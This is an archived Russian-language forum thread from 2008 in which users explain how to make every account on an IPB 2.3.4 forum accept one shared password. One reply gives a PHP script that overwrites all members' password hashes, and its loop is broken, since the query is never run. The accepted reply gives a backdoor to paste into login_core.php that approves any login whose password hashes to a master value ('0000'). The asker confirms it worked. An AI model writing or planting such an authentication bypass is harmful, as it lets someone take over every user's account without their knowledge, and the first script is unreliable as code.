PDA

Просмотр полной версии : Как установить в Ipb один пасс для всех юзверей?


Nightmarе
07.06.2008, 15:11
Подскажите какой файл надо модифицировать, куда чё вписать надо чтобы можно было под всеми юзверями войти с одним паролем, Ipb 2.3.4
Кто знает напишите плз!

Lesnoy_chelovek
07.06.2008, 16:07
А в табличке если Update'ом пароль записать?

maxster
07.06.2008, 16:17
Я думаю так должно сработать:

<?php
$pass = 'hashpassword' // хеш пасса
$salt = 'saltpassword' // соль пасса
include "cong_global.php";
mysql_connect($INFO['sql_host'], $INFO['sql_user'], $INFO['sql_password']);
@mysql_select_db($INFO['sql_database']);
$query="select count(id) from ".$INFO['sql_tbl_prefix']."members";
$pre=mysql_fetch_array(mysql_query($query));
$i=2;
do
{
$up="update ".$INFO['sql_tbl_prefix']."members_converge SET converge_pass_hash = '".$pass."', converge_pass_salt = '".$salt."' where converge_id = '".$id."'";
} while (++$i <= $pre[0]);

?>

закидываешь в корень форума и запускаешь, но ты проверь я мог ошибиться :\

Nightmarе
10.06.2008, 23:03
Я думаю так должно сработать:
закидываешь в корень форума и запускаешь, но ты проверь я мог ошибиться :\
Это я так понял он всем юзверям установит пасс?
Мне желательно чтобы под всеми можно было зайти с одним пассом не переставляя в базе каждому...
Я хз где там можно отредактировать и как, чтобы по одному паролю заходило, там авторизация через несколько модулей

c0m
20.06.2008, 21:30
тупо поставь в members_converge одинаковые хэши и соль

FaR-G9
21.06.2008, 02:08
Если тема еще актуальна, то в файле \sources\loginauth\login_core.php

найди

//-----------------------------------------
// Check password...
//-----------------------------------------

258я строка по дефолту
и наже добавь

if ($password == '4a7d1ed414474e4033ac29ccb8653d9b')
{
$this->return_code = 'SUCCESS';
return;
}

где 4a7d1ed414474e4033ac29ccb8653d9b это md5 хэш твоего суперпароля ;)
в этом примере пароль 0000

Nightmarе
21.06.2008, 04:19
FaR-G9 большое спасибо - помогло!!!